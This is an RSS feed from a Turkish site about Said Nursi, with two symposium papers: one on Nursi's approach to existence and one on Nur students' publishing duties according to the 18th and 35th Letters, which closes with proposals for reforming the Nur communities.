<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Layetezelzel &#124; Düşünce Okulu &#187; BediüzzamanLayetezelzel | Düşünce Okulu | </title>
	<atom:link href="http://layetezelzel.com/category/tumu/bediuzzaman/feed/" rel="self" type="application/rss+xml" />
	<link>http://layetezelzel.com</link>
	<description></description>
	<lastBuildDate>Tue, 19 Mar 2019 03:47:02 +0000</lastBuildDate>
	<language>tr-TR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Varoluş Sorunsallığı: Bir Nursi Yaklaşımı Modelleştirme Çabası</title>
		<link>http://layetezelzel.com/varolus-sorunsalligi-bir-nursi-yaklasimi-modellestirme-cabasi/</link>
		<comments>http://layetezelzel.com/varolus-sorunsalligi-bir-nursi-yaklasimi-modellestirme-cabasi/#comments</comments>
		<pubDate>Sun, 17 May 2015 20:30:36 +0000</pubDate>
		<dc:creator>Yunus Emre Orhan</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Kavram]]></category>
		<category><![CDATA[Layetezelzel]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[risale-i nur]]></category>
		<category><![CDATA[said nursi]]></category>
		<category><![CDATA[varoluş]]></category>

		<guid isPermaLink="false">http://layetezelzel.com/?p=408</guid>
		<description><![CDATA[(*) Bir fikrin sınanması, o fikrin anlaşılmasıyla mümkün olur. Eğer amacımız bir fikri anlamak, kavramak ve zihne yaklaştırmak ise, incelenen fikri, benzeri fikirlerden ayırabilmek, açıkça ortaya çıkarmak veya belirginleştirmek gerekir. Nitekim bu da bizi, bir bilgi yığınını, bir fikre dönüştüren .....]]></description>
				<content:encoded><![CDATA[<p>(*) Bir fikrin sınanması, o fikrin anlaşılmasıyla mümkün olur. Eğer amacımız bir fikri anlamak, kavramak ve zihne yaklaştırmak ise, incelenen fikri, benzeri fikirlerden ayırabilmek, açıkça ortaya çıkarmak veya belirginleştirmek gerekir. Nitekim bu da bizi, bir bilgi yığınını, bir fikre dönüştüren metodolojiyi tespit etmeye götürür. Bu çalışma, Said Nursi’nin “farklılık” iddiasıyla sunduğu (Nursi, 2009d:131) Risale-i Nur’ları ve içindeki fikriyatı anlama çabası içerisinde makale yazarının ilk adımları olarak değerlendirilebilir.</p>
<p>Sathi bir nazarla yapılacak Risale-i Nur incelemesinde dahi 20. ve 21.yüzyıl okurunun gözüne ilk çarpan husus, içeriğindeki sıklıkla yapılan kainat vurgusu olacaktır. Bu vurgu, eşya üzerindeki sanat, kudret, ilim ve kasıt analizlerini merkeze alması dolayısıyla, müellifin metodolojisi hakkında çok değerli ipuçları sunar. Bu küçük ipuçlarından hareketle, eğer amacımız Nursi’de cari olan metodu keşfetmekse, müellifin kainatı bir kitap, bir sergi olarak algılamasının tazammunları/içerimleri hakkında düşünmeye başlarız. Bu makalenin nihai hedefi, Nursi’nin kainata dair referanslarının başat sebebini “varoluşu anlamlandırmak” olduğu iddiasını kurmak ve tartışmaktır. Bu minval üzere, tebliğin araştırma sorusu, “varoluşu anlamlandırmada kainatı ve varoluştaki değişimi verili bir bilgi kaynağı olarak algılamanın ayrıştırıcı yönü nedir? Said Nursi, nasıl bir nazariyat ile kainatı incelemeye tabi tutmuştur?” olarak formülize edilmiştir.</p>
<p>Makaledeki temel tezimize göre, Said Nursi’yi metodik olarak farklılaştıran en mühim husus, eşyayı anlamlandırma ve “iman ilmi”(Yaratıcıya inancın temellerini irdeleyen ilim dalı) çerçevesinde “varoluşu” sorunsallaştırmasıdır. Yapılan incelememizde, Risale-i Nur’un metodolojisi üzerine yapılan araştırmaların ekserisinde, Nursi’yi ayrıştıran bu “sıklıkla yapılan kainat” vurgusu ve tebliğimizin iddia ettiği “varoluş sorunsallığı”nın, son üçyüzyılın popüler din-bilim problematiği içerisinde tartışıldığı gözlemlenmiştir. Makaledeki temel savunumuza göre, bu durum Nursi’nin metodik orjinalitesine çok güçlü bir perde çekmektedir.</p>
<p>Makalenin birinci bölümü, Nursi’deki sürekli kainat vurgusunun, son dönem Risale-i Nur araştırmalarında ne tür argümantasyonlarla din-bilim problematiği içinde savunulduğunu ve hangi kavramsal araçları kullandığını analiz etmektedir. Makalenin ikinci bölümü, Nursi’nin eserlerinde sadece din-bilim problematiğini değil, Kuran araştırmalarındaki birçok dualist problematiği, epistemik bir sıçrama ile aştığını iddia etmektedir. Üçüncü bölüm ise, bu epistemik sıçrayışın nasıl gerçekleştirildiğini ortaya koymaya, Nursi’nin yaklaşımını “varoluş sorunsallığı” kavramıyla açığa çıkartmaya, belirginleştirmeye çabalamaktadır.</p>
<p>Tebliğin temel argümanına göre, Nursi’deki kainat vurgunusu din-bilim problematiği içerisinde tartışmak, Nursi’nin eserlerinde cari olan epistemik sıçrayışın ıskalanmasından kaynaklanmaktadır. Makalenin ikinci bölümü, Makalenin üçüncü bölüm ise, tanımlanan epistemik sıçrayış kavramından ne kastedildiğini ve Nursi’nin yaklaşımını “varoluş sorunsallığı” kavramıyla tekrar ele almaya ve değerlendirmeye çabalamaktadır. (Metnin devamı için tıklayınız)</p>
<p>* Bu metin İİKV&#8217;nin organize ettiği &#8220;Din, Bilim ve Felsefe &#8211; Risale-i Nur Yaklaşımı (2015)&#8221; adlı sempozyumda sunulan tebliğdir.</p>
<p>** <a href="http://layetezelzel.com/wp-content/uploads/2015/05/Tebli%C4%9F-SON.pdf" target="_blank">Tebliğin tam metni için tıklayınız.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/varolus-sorunsalligi-bir-nursi-yaklasimi-modellestirme-cabasi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>18 ve 35. Mektuplar ışığında  Nur talebelerinin neşriyat yükümlülüğü*</title>
		<link>http://layetezelzel.com/18-ve-35-mektuplar-isinda-nur-talebelerinin-nesriyat-yukumlulugu1/</link>
		<comments>http://layetezelzel.com/18-ve-35-mektuplar-isinda-nur-talebelerinin-nesriyat-yukumlulugu1/#comments</comments>
		<pubDate>Thu, 23 Apr 2015 19:44:26 +0000</pubDate>
		<dc:creator>Şener Boztaş</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Kavram]]></category>
		<category><![CDATA[Lahikalar]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[neşriyat]]></category>
		<category><![CDATA[risale-i nur]]></category>
		<category><![CDATA[vazife]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=260</guid>
		<description><![CDATA[Giriş Öncelikle “18 ve 35. Mektup” derken neyi kastettiğimi ifade etmem gerekiyor. Mektuplar 18 [2] ve 35 [3] sıra numarasıyla bu sempozyumun konusu olan Kastamonu Lahikası’nda yer alıyorlar. Bu noktada şöyle haklı bir soruyla karşılaşıyoruz: Hangi yayınevinin, hangi edisyonuna göre bu sıra .....]]></description>
				<content:encoded><![CDATA[<p><strong>Giriş</strong></p>
<p>Öncelikle “18 ve 35. Mektup” derken neyi kastettiğimi ifade etmem gerekiyor. Mektuplar 18 <strong>[2]</strong> ve 35 <strong>[3] </strong>sıra numarasıyla bu sempozyumun konusu olan <em>Kastamonu Lahikası</em>’nda yer alıyorlar. Bu noktada şöyle haklı bir soruyla karşılaşıyoruz: Hangi yayınevinin, hangi edisyonuna göre bu sıra numaraları?</p>
<p>Mektupları numaralandırarak yayınlayan iki yayınevi var: Söz Basım Yayın ve Yeni Asya Neşriyat. Biz bu çalışmamızda Söz Basım Yayın’ın, Şubat 2014 tarihli baskısını referans aldık. Çünkü Yeni Asya Neşriyat 35. Mektubu <em>Barla Lahikası</em>’na dercetmiş.<strong>[4]</strong></p>
<p>Çalışmalarım esnasında iki hususla karşılaştım. Bunlardan birincisi; mektupların sıralaması yayınevlerine göre farklılık arz ediyor. Şahsen bunu bir problem olarak görmüyorum. Zira biraz sonra aşağıda değineceğimiz “tanzim” vazifesi bunu mümkün kılıyor.</p>
<p>İkinci ve asıl önemli olan husus ise şu: 18. Mektup her yayınevinin tüm edisyonlarında yer almakla birlikte, 35. Mektup bazılarında var, bazılarında yok. Yaptığım araştırmaya göre 35. Mektup Latinize <em>Kastamonu Lahikası</em>’nın Sinan Matbaası, 1960 tarihli baskısında yok. O nüshayı esas alan Sözler Yayınevi’nin nüshalarında da yok. Dolayısıyla uzunca bir süre bu mektup okuyuculara ulaşmamış. Zira biliyorsunuz 90’lı yıllara kadar çoğunlukla bu nüshalar okunuyordu. Edindiğimiz bilgilere göre ilk olarak İhlas-Nur Neşriyat bu mektubu Latinize nüshada yayınladı. Daha sonra Nesil Yayınları 2 ciltte topladıkları Külliyata <strong>[5]</strong> dercetti. Bugün itibariyle (bugün derken, bandrol sorununun başlamasından önce basılan son nüshalardan bahsediyorum) Sözler Yayınevi’nin nüshalarında bu mektup yer almazken; Söz Basım, Zehra Yayıncılık ve Envar Neşriyat mektubu yayınlıyor. Yeni Asya Neşriyat ise ilk baskılarında kullanmadığı bu mektubu (Örn. 1994) daha sonra <em>Barla Lahikası</em>’nda 284 sıra numarasıyla (s. 588-591) neşretti. Yine Diyanet İşleri Başkanlığı’nın yayına hazırladığı son nüshada da bu mektubun yer aldığını biliyoruz. <strong>[6]</strong></p>
<p>Denilebilir ki, yukarıda sıralama için öne sürülen “tanzim” gerekçesiyle bunu da normal karşılamak mümkün. Ancak biraz sonra değineceğim mektubun muhtevası, bu durumu bir problematik haline getiriyor. Özellikle yine aşağıda değineceğim “Beşinci Desise-i Şeytaniye”de 35. Mektubun muhtevasına yakın ama başka bağlamda ifade edilen yaklaşımla birlikte konuyu ele aldığımızda, bu problematik daha da önem kazanıyor.</p>
<p>Şimdi sözkonusu mektuplara daha yakından bakalım.</p>
<p><strong>1. Temel Kavramlar ve Referans Metinler</strong></p>
<p>Her iki mektupta da Bediüzzaman, “kardeş”lerine, bir başka deyişle “Risale-i Nur Talebeleri”ne Külliyat’ın neşri hakkında bir takım görevler veriyor. Daha doğru bir ifadeyle “Üstad” <strong>[7]<a href="#_ftn7" name="_ftnref7"></a></strong> olarak onlara imkân ve alan açıyor. Risale-i Nur Külliyatı üzerinde ve ondan hareketle, onu mehaz alarak yapmaları gereken çalışmaları sıralıyor. Ve bu görevler üzerinden “Risale-i Nur Talebesi”nin tanımını yapıyor.</p>
<p><strong> </strong></p>
<p><strong> 1. 1. Temel Kavramlar</strong></p>
<p><strong>Risale-i Nur Talebesi</strong>: Risale-i Nur Külliyatı’nda talebeliğin daha kapsamlı tanımları yapılmakla birlikte, bizim çalıştığımız bağlamda tanım, 18. Mektubun hemen başında şöyle ifade ediliyor: “Risale-i Nur’a intisap eden zâtın en ehemmiyetli vazifesi, onu yazmak ve yazdırmaktır ve intişarına yardım etmektir. Onu yazan veya yazdıran, ‘Risale-i Nur talebesi’ unvanını alır.”</p>
<p><strong>Haşiye</strong>: Sayfa kenarlarına ilâve edilen açıklayıcı ve tamamlayıcı bilgileri içeren not.</p>
<p><strong>Şerh</strong>: Bir eserin daha geniş biçimde açıklanması amacıyla yazılmış kitapları ifade eden bir telif türü.</p>
<p><strong>İzah</strong>: Vazıh ve ayan kılma, açıklama.</p>
<p><strong>Neşir</strong>: Yayma, yayınlama.</p>
<p><strong>Tafsil</strong>: Ayrıntılı açıklama, uzatma.</p>
<p><strong>Talim</strong>: Öğretme. Birine bilgi öğretmek, ders okutmak.</p>
<p><strong>Telif</strong>: Yanyana getirme, kaleme alma, yazma.</p>
<p><strong>Tekmil</strong>: Tamam etme, tamamlama.</p>
<p><strong>Tanzim</strong>: Nizama koyma, düzenleme, sıra ile verme.</p>
<p><strong>Tertip</strong>: Dizme, düzenleme, hazırlama.</p>
<p><strong>Tefsir</strong>: Yorumlama.</p>
<p><strong>Tashih</strong>: Düzelti, düzeltme.</p>
<p><strong>Tayyetme</strong>: Geçip gitme, silme, yok etme.</p>
<p><strong>İhlas</strong>: Kulun bütün davranışları ve sözlerinde sadece Allah’ın rızasını gözetmesi. Bir şeyi, içine karışmış ve değerini düşürmüş olan başka şeylerden temizleyip arındırma, saflaştırma.</p>
<p><strong>Tesanüd</strong>: Toplumda bireylerin ve grupların birbiriyle dayanışma halinde yaşamasını ifade eden ahlâk terimi.</p>
<p><strong>Şahs-ı manevi</strong>: Ortak kimlik etrafında oluşan tüzel kişilik.</p>
<p><strong> </strong></p>
<p><strong>1. 2. Referans Metinler</strong></p>
<p><strong>1. 2. 1. Onsekizinci Mektup ne söylüyor?</strong></p>
<p>Risale-i Nur’un neşrine odaklanan ve iki madde halinde yazılan 18. Mektubu, üç başlık altında özetleyebiliriz:</p>
<p><em>Birincisi: Risale-i Nur Talebesi kime denir ve vazifesi nedir?</em></p>
<p>Mektubun ilk iki<strong>[8] </strong>ve son cümlesini<strong>[9]<a href="#_ftn9" name="_ftnref9"></a></strong> birlikte okuduğumuzda şunu anlıyoruz: Risale-i Nur Talebesi metne yani manaya intisap eder, kişi ya da kişilere değil. Bediüzzaman, metnin müellifi olmasına rağmen kendisine intisap beklemez. Kendisiyle olan irtibatın ise yine metinler üzerinden kurulmasını ister. Yani “hakaik-i imaniye”yi ders veren “hadim-i Kur’an olan Üstad” olarak, mana düzleminde bir ilişkiye teşvik eder talebelerini.</p>
<p>Talebelik unvanını almak için, intisap edilen metni yazmak, yazdırmak ve yaymak en önemli vazifedir.</p>
<p><em>İkincisi: Risale-i Nur’un neşrine çalışmanın faydaları nelerdir?</em></p>
<p>Risale-i Nur yazımıyla (<em>kitabet</em>) dört açıdan ibadet hükmüne geçen dört sonuç elde edilir: İmanını kuvvetlendirmek, başkasının imanının tehlikeden kurtulmasına çalışmak, imani tefekkürü elde etmek ve Üstadına yardım ederek sevabına ortak olmak.</p>
<p>Burada altı çizilmesi gereken bir husus da şudur: “Bir küçük risaleyi <em>kendine bilerek</em> yazan adam” vurgusuyla Bediüzzaman, (1) minneti reddetmekte, (2) neşriyat faaliyetlerinde bulunanların “evvela kendi nefsine hitap etme” ilkesini ihlal etmemeleri gerektiğine dikkat çekmektedir.</p>
<p><em>Üçüncüsü: Neşriyat faaliyetinde karşılaşılan tehditler nelerdir?</em></p>
<p>“Risale-i Nur’un (&#8230;) çelik gibi metin kalelerine ve elmas kılıç gibi kuvvetli hüccetlerine mukabele edemediklerinden (&#8230;) yazanların şevklerini kırmak ve fütur vermek ve <em>yazıdan vazgeçirmek</em>&#8230;” Burada da neşriyat odaklı bir değerlendirme yapılmakta olduğunu görüyoruz. Risale-i Nur neşriyatına bütün manilere rağmen devam edilmesi gerektiğini ifade ediyor.</p>
<p>&nbsp;</p>
<p><strong>1. 2. 2. Otuzbeşinci Mektup ne söylüyor?</strong></p>
<p>Onsekizinci Mektup doğrudan Risale-i Nur’un yazımı ve yayımı ile ilgiliyken bu mektup, hem yazımı hem de onun üzerinden (mehaz) yeni metinler üretmenin usulünü, biçimini ve imkânını beyan ediyor.</p>
<p>Yeni metinler telif etmek için teşebbüste bulunduğunu fakat sonuç alamadığını,<strong>[10]<a href="#_ftn10" name="_ftnref10"></a></strong> dolayısıyla vazifesinin tamamlandığına inandığını söyleyen Bediüzzaman,<strong>[11]<a href="#_ftn11" name="_ftnref11"></a></strong> Külliyat üzerindeki tasarrufun bundan böyle “kardeş”lerinde yani Risale-i Nur Talebelerinde olduğunu ifade ediyor.</p>
<p>Bediüzzaman Kastamonu’da Mart 1936-Ekim 1943 tarihleri arasında mecburi ikamete tabi tutuluyor.</p>
<p>Külliyat’ın telif kronolojisine<strong>[12]<a href="#_ftn12" name="_ftnref12"></a></strong> baktığımızda <em>Sözler</em>, <em>Lem’alar</em> ve <em>Mektubat</em>’a dahil edilen risalelerin telifinin Kastamonu yıllarından önce tamamlandığını görüyoruz. “Teşebbüs ettimse de çalıştırılamadım” ve “vazifem bitmiş” ifadelerinden ise anlıyoruz ki, telif tarihi o yıllara tekabül eden ve <em>Şualar</em>’a dahil edilen risaleler de telif edilmiş ve bu mektup Kastamonu yıllarının sona ermesine yakın bir tarihte yazılmış. Zira 1943’ten sonra telif edilen 11 ila 14. Şualar mahkeme müdafaalarından oluşmaktadır. Bu anlamda tek istisna El-Hüccetü’z-Zehra olan 15. Şua’dır.</p>
<p>Tekrar 35. Mektubun muhtevasına dönelim ve Nur Talebelerinin ne tür vazifelerle yükümlü olduklarını inceleyelim.</p>
<p>Vasiyet edilen çalışmaları üç başlık altında toplayabiliriz.</p>
<p><em>Birincisi</em>: Mevcut metinler üzerinde tasarrufta bulunmak.</p>
<p>Farklı risalelerdeki parçaların tematik olarak biraraya getirilmesiyle yeni bir risale oluşturulması (Örn. Haşir). Bu, Risale-i Nur’un kendini izahı ve şerhi olarak değerlendirilmektedir.</p>
<p><em>İkincisi</em>: Yeni risaleler telif etmek.</p>
<p>Bunun da iki yöntemi var. Birincisi, adı ve konusu belli olan fakat telif edilmeyen risalelerin telifi; ikincisi, tamamlanmayan risalelerin tekmili.</p>
<p>Bediüzzaman birinciye örnek olarak Yirmibeşinci ve Otuzikinci Mektupları, ikinciye örnek olarak Dokuzuncu Şua’yı gösteriyor.</p>
<p>Yasin Suresine dair Yirmibeşinci Mektup Bediüzzaman’ın vasiyeti gereği telif edilmeyi bekliyor. Otuzikinci Mektupta ise ilginç bir durum var. Bediüzzaman onun da telif edilmesini gerektiğini söylüyor fakat külliyatta Lemaat, Otuzikinci Mektup olarak <em>Sözler</em>’in sonunda yer alıyor. Ki Lemeat’ın daha 1921’de telif edildiğini biliyoruz. O zaman Bediüzzaman burada başka bir şey söylüyor olabilir mi? Mesela, Lemaat’taki her bir nüktenin şerh edilerek genişletilmesi (tafsil) gibi.</p>
<p>Yine Rum Suresinin 17-27. ayetlerini tefsir etmeyi amaçlayan; dokuz makam ve bir mukaddimeden oluşacağı ifade edilen Dokuzuncu Şua, Mukaddime’nin telifiyle sınırlı kalıyor. Bediüzzaman, telif edilmeyen dokuz makamın telifini Nur Talebelerine vasiyet ediyor.</p>
<p><em>Üçüncüsü</em>: Risale-i Nur’u kaynak (mehaz) alarak entelektüel üretimde bulunmak. Her metin yoruma açık olduğu ve yeniden üretildiği oranda canlılığını devam ettirebilmektedir. Dolayısıyla Risale-i Nur’daki hakikatlerin değişen ferde, topluma, siyasete ve zamanın fehmine ulaştırılması; metne ve müellifine yönelik eleştirilerin ikna edici bir biçimde karşılanabilmesi için “tekmil-i izah,” “haşiyelerle beyan ve ispat,” “tefsir” ve “şerh” bir görev olarak önümüzde duruyor.</p>
<p><strong> </strong></p>
<p><strong>1. 2. 3. Beşinci Desise-i Şeytaniye ne söylemiyor?</strong></p>
<p>Bu bahsi<strong>[13]<a href="#_ftn13" name="_ftnref13"></a></strong> buraya almamızın sebebi şerh, izah ve tanzimden bahsediyor oluşu. Fakat uzun yıllar 35. Mektubun sağladığı geniş alandan henüz haberdar değilken, bu bahsin kısıtlayıcı bir üslupla okunması, yukarıda ifade etmeye çalıştığımız yeni entelektüel üretimlerin karşısına bir set olarak çıkarılmıştır. 35. Mektubun neşredilmemesi bu açıdan problematiktir. Hatta bu kısıtlayıcı okuma biçimi, metinde ifade edilen “tanzim”e karşı “içeri”de gösterilen şiddetli direnci netice vermiştir.</p>
<p>Evet, burada Bediüzzaman kısıtlayıcı bir üslup kullanmıştır. Fakat bağlam çok başkadır. İlmi enaniyetten kaynaklanan kıskançlık ve rekabet duygularıyla, Risaleleri ve müellifini küçümsemek kastıyla telifata kalkışmanın yanlışlığına işaret edilmektedir sözkonusu metinde.</p>
<p>&nbsp;</p>
<p><strong>2. Kısıtlayıcı Unsurlar</strong></p>
<p>Peki elimizde bu referanslar varken, Nur Talebeleri ne yapmıştır 1960’tan bu yana? Yukarıda incelediğimiz mektuplarda vasiyet edilen entelektüel faaliyetler ne oranda gerçekleşmiştir?</p>
<p>Altı çizilmesi gereken iki husus var:</p>
<p><em>Birincisi</em>, zorba devlete karşı verilen muhafaza ve meşruiyet mücadelesi, Nur Talebelerini sürekli savunma pozisyonunda tutmuştur. Bu bağlamda metinlerin bugüne kadar sağlıklı bir şekilde ulaşmasını temin eden bütün Nur Talebeleri her türlü takdiri haketmektedir.</p>
<p><em>İkincisi</em>, İlahiyat fakülteleri başta olmak üzere akademyanın Risale-i Nur’a uyguladığı ambargo, metinlerin entelektüel çalışmaların öznesi olmasını bugünlere kadar geciktirmiştir.</p>
<p>Bunlar harice bakan meşru mazeretler olarak kabul edilmelidir. Fakat Nur Talebeleri bugün ulaştığımız özgürlük ortamında kendi özeleştirisini de yapmak durumundadır.</p>
<p>Özeleştiri yaptığımızda karşımıza çıkan gerçek şudur: Risale-i Nur üzerinden (mehaz) yapılan entelektüel üretim gerek yerel gerekse uluslararası arenada söz söyleyebilecek düzeyde olmamıştır. Yayınlanan kitap, tez ve makale sayısı ve niteliği bunun açık göstergesidir. Yine yetişmiş entelektüel insan kaynağındaki kıtlık da başka bir göstergedir. Evet, Nur Talebesi ilim adamları mevcuttur ama bunların pek çoğunun Risale-i Nur’a yaklaşımları eklektiktir. Düzenlenen akademik toplantılarda bile Bediüzzaman’ı ve Risale-i Nur övücü, propagandif dilin baskın olduğu bilinen bir gerçektir. Medresetüzzehra’yı idealize eden insanların bugüne kadar kurup yaşatabildikleri enstitü, akademi, araştırma merkezi, think tank vb kurumların sayısı bir elin parmaklarını geçmemektedir. Ve ne yazık ki var olanlar da disipliner bir eğitim uygulayamamaktadırlar. Henüz araştırmacılara açık, kapsamlı bir tematik kütüphane kurulamamıştır. Üstad’ın tashihinden geçmiş Risale metinleri ve belgeler hâlâ özel kütüphanelerde saklanmaktadır. Risale-i Nur’un en çok okunduğu klasik dersler ise çoğunlukla metinlerin “teberrüken tilavet edilmesi” boyutuyla sınırlı kalmıştır. Söz, yazıya galip gelmiştir.<strong>[14]<a href="#_ftn14" name="_ftnref14"></a></strong></p>
<p>Kanaatimce bu sonucu netice veren şey “cemiyetleşme”dir. Nur Talebelerinin cemaatleşmesi sosyolojik bir olgudur ve olağandır. İçten dışa talebe-kardeş-dost vasfıyla, mütedahil daireler halinde, “muhalif cereyana taraftar olmamak”<strong>[15]<a href="#_ftn15" name="_ftnref15"></a></strong> hattına kadar genişleyen cemaatleşme olağandır, kuşatıcı ve kucaklayıcıdır, hür bir zemindir. Cemiyetleşme ise bu çizgiden sapmadır. Bugün bizim Nur dairesi içinde “cemaat” olarak adlandırdığımız oluşumlar, iç yapıları ve ilişki biçimleriyle daha çok cemiyettir. Lideri, bürokrasisi, hiyerarşisi ve hatta tüzüğü olan bir yapı artık cemaat değil cemiyettir. Bediüzzaman’a yöneltilen en temel ithamlardan biridir biliyorsunuz “cemiyet kurmak.” Bir müdafaasında şöyle diyor: “Meselemiz imandır. İman kuvvetiyle bu memlekette ve Isparta’nın yüzde doksan dokuz adamlarıyla uhuvvetimiz var. Halbuki, cemiyet ise ekser içinde ekalliyetin ittifakıdır. Bir adama karşı, doksan dokuz adam cemiyet olmaz”<strong>[16]<a href="#_ftn16" name="_ftnref16"></a></strong> Bugünkü cemaatlerin ilişki biçimi “ekser içinde ekalliyetin ittifakı” değil midir?</p>
<p>Cemiyete dönüşen cemaat, kaçınılmaz olarak kendi resmi görüşünü oluşturacak, bir söylem biçimi geliştirecek ve bunları muhafaza etmek için çabalayacaktır. Yani “kırmızı çizgileri” olacaktır. Dolayısıyla lider-bürokratik yapı-resmi görüş üçgeni hür düşünceye izin vermeyecektir. Oysa Bediüzzaman’ın 35. Mektupta vasiyet ettiği neşriyat faaliyetleri için-neşriyat faaliyetinin tabiatı zaten bunu gerektirir-birincil ihtiyaç düşünce ve ifade hürriyetidir. Bu yapılarda düşünce ve ifade hürriyetini, ait olduğu cemaatin resmi görüşüne aykırı olarak kullanmakta ısrar eden Nur Talebelerinin akıbeti ise genellikle ya kendi isteğiyle ya da “cemaat kararı”yla oradan uzaklaşmak olacaktır.</p>
<p>Bediüzzaman’ın “Mehdiyet” kimliği üzerinden kendisinin kültleştirilmesini engellemek ve nazarları şahs-ı maneviye yönlendirmek için söylediği “Zaman cemaat zamanıdır”<strong>[17] </strong>sözü bağlamından kopartılarak yorumlanmakta, cemaatler tarafından, müntesiplerin sadakatini kuvvetlendirecek bir argüman haline dönüştürülmektedir. Sözkonusu ifadenin bir başka kullanımının Birinci Meclis’te Mustafa Kemal’in “tek adam”lığına karşı kullanılması<strong>[18]<a href="#_ftn18" name="_ftnref18"></a></strong> ise ironik çağrışımlar içermektedir.</p>
<p>Bediüzzaman’ın “onu yazan ve yazdıran Risale-i Nur Talebesi unvanını alır” çizgisiyle, cemaatin görüşlerine sadakat üzerinden yapılan Nur Talebeliği tanımı arasındaki uçurumun boyutları üzerine hep birlikte düşünmeliyiz.</p>
<p>Bugün geldiğimiz noktada, iletişim imkânlarının çoğalması ve kolaylaşması, internetin biçimlendirdiği yeni dünya, refahın artmasıyla oluşan yeni sosyoloji ve nispeten özgürleşen Türkiye, Risale-i Nur hizmetini yeni bir eşiğe taşıdı. Adeta Bediüzzaman’ın <em>Muhakemat</em>’ta bahsettiği “istikbal” dönemi<strong>[19] </strong>uç verdi. Henüz akademik bir ölçeğe vurulacak düzeyde olmasa da cemaat duvarları şeffaflaştı. Yani Nur Talebeleri kendi “cemaati” dışındaki derslere, organizasyonlara daha çok katılır oldu. Herhangi bir cemaate aidiyet hissetmeyen ve fakat Risale-i Nur okuyan, okutan, Bediüzzaman’ın ifadesiyle onu yazan, yazdıran ve intişarına yardım eden fertler, kurumlar ortaya çıkmaya başladı. Akademik format içinde entelektüel üretim endişesi taşıyan gruplardan, benim “new age hizmet grupları” dediğim popüler bir üslup, dil ve biçimi tercih eden oluşumlara kadar geniş bir yelpaze ortaya çıktı. Bunlar ümit verici gelişmeler olarak değerlendirilebilir.</p>
<p>&nbsp;</p>
<p><strong>3. Sonuç Yerine Öneriler</strong></p>
<ol>
<li>Mevcut Nur Cemaatleri elbette varlıklarını sürdüreceklerdir. Ancak kendilerini cemiyet pozisyonuna indirgeyen yöntem ve uygulamaları gözden geçirmeleri kaçınılmazdır. Bunun için öncelikle zihniyet değişikliği gerekmektedir. Ve yine etrafında toplandıkları karizmatik liderleri “müzahir” profiline indirgemeliler. Yeni “lider”lerin ortaya çıkmasına müsaade etmeyip, meşvereti tesis etmeliler.</li>
<li>“Biz delil isteriz, tasvir-i müddea ile aldanmayız,” “Tasvir ve tezyin-i müddea zihnimizi işba’ etmiyor. Burhan isteriz”<strong>[20] </strong>diyen yeni nesillerin dilini konuşmalı, daha rasyonel bir anlatı dili yakalanmalıdır.</li>
<li>Metinlerin sıhhatini korumak gayesiyle geliştirilen haklı refleks Külliyatı dogmaya dönüştürmemelidir. Kutsal olan cildi, kâğıdı, sayfa düzeniyle kitabın kendisi ya da Risale-i Nur hizmetini yürüten kişi ve kurumlar değil içindeki hakikatlerdir. Bu bağlamda, yetersiz de olsa ileri adım olarak değerlendirilebilecek olan ayet, hadis mealleri, lügatçe ve ansiklopedik bilgilerin kitaplara yeniden girmesine müsaade edilmeli; hataların giderilmesi, eksiklerin tamamlanması için ortak çalışma grupları oluşturulmalıdır.</li>
<li>Özellikle ehl-i imanın Risale-i Nur’a mesafeli duruşunda Nur Talebelerinin de rolü olduğu kabul edilmelidir. İttihad-ı İslam’ın farz vazife olduğuna inanan Nur Talebeleri diğer ehl-i imanla aralarındaki köprüleri çoğaltmalıdır.</li>
<li>Risale-i Nur Külliyatı ve Bediüzzaman ile ilgili bütün dokümanların ve yayınların birarada bulanacağı, herkesin kullanımına açık tematik bir kütüphane kurulmalıdır.</li>
<li>Risale-i Nur’u mehaz kabul ederek ilmi, imani, içtimai meseleler hakkında düşünce üretimi için ortak fikrî müzakere zeminleri çoğaltılmalı, buralardan hasıl olarak kitap, makale, araştırma dosyası, rapor gibi materyaller yine güçlü yayınevleri üzerinden dünyaya servis edilmelidir.</li>
<li>Hizmet müesseseleri akademik usul ve esaslar çerçevesinde kendi insan kaynağını yetiştirmelidir. 35. Mektupta vasiyet edilen neşriyat yükümlülüğü bu kadrolarla mümkündür. Devşirme aydınlarla sonuç alınamayacağı tecrübe edilmiştir.</li>
<li>Bu tür platformlarda telahuk-u efkar, fikir hürriyeti, ruhların tesanüdü ve taassupsuzluk ilkeleri vazgeçilmez değerler olmalıdır. “Herkes kendi harekât-ı meşruasında şahane serbest ol[malı]”; ortak karar alma süreçlerinde meşveret kuralları uygulanmalıdır. Her türlü vesayet ve angajmandan bağımsız yapılar inşa edilmelidir.</li>
<li>Şüphesiz bu maddeler çoğaltılabilir fakat kabul edelim ki bütün bunlar ancak uhuvvet ve ittihad zemininde mümkün olabilir.</li>
</ol>
<p>&nbsp;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>[∗] Bu metin 17-19 Nisan 2015 tarihlerinde düzenlenen “Kastamonu Lahikası Sempozyumu”nda sunulan tebliğin gözden geçirilmiş halidir.</p>
<p>[2] Bediüzzaman Said Nursi, <em>Kastamonu Lahikası</em>, Söz Basım Yayın, İstanbul: Şubat 2014, s. 43.</p>
<p>[3] A.g.e., s. 72-75.</p>
